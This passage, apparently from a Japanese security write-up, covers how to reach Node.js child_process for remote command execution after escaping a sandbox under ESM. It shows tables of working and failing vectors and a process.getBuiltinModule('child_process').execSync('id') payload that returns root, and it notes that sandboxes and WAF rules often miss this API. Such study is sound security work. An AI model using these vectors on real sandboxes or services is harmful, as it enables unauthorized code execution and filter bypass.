| ベクター | 結果 |
|---|
require('child_process') | ❌ require is not defined — ESMでは利用不可 |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — ESMではmainModuleはundefined |
import('child_process') | ❌ A dynamic import callback was not specified — サンドボックスで設定されていないフックが必要 |
process.binding('spawn_sync') | ⚠️ 利用可能だが低レベルすぎる — 手動でのsyscall構築が必要 |
process.getBuiltinModuleモジュール読み込み方法を仮定する代わりに、ホストコンテキスト(サンドボックスエスケープ後にすでにアクセス可能)から直接processキーを列挙します:
return Object.keys(process)
返されたキーの中に、getBuiltinModuleが特定されました — Node.js 22+のネイティブAPIで、ESMモジュールが**requireやimport()なしで**Node.js組み込みモジュールにアクセスできるように特別に設計されています。
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE確認
これが重要な洞察です:process.getBuiltinModuleは比較的新しいAPI(Node.js >= 22.3.0)であり、requireとimportをブロックするサンドボックス実装やWAFルールによってしばしば見落とされます。
ターゲット環境に応じて、processを列挙した後に他のベクターが利用可能な場合があります:
| ベクター | Node.jsバージョン | 備考 |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ 最もクリーン — 公式のESM対応API |
process.binding('spawn_sync') | すべて | ⚠️ 低レベル、手動でのバッファ構築が必要 |
process.mainModule.require(...) | CJSのみ | ❌ ESMではundefined |
__non_webpack_require__ | Webpackバンドル | ⚠️ 環境固有 |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ ホストからのModule参照が必要 |
process._linkedBinding('node_os') | 内部ビルド | ⚠️ めったに公開されない |
要点: ホストコンテキストへのアクセスを達成した後は、常に
Object.keys(process)を列挙してください。利用可能な攻撃面はNode.jsのバージョンとプロジェクト構成によって大きく異なります。getBuiltinModuleは、最新のNode.js ESM環境で最も信頼性の高いベクターです。
手順:
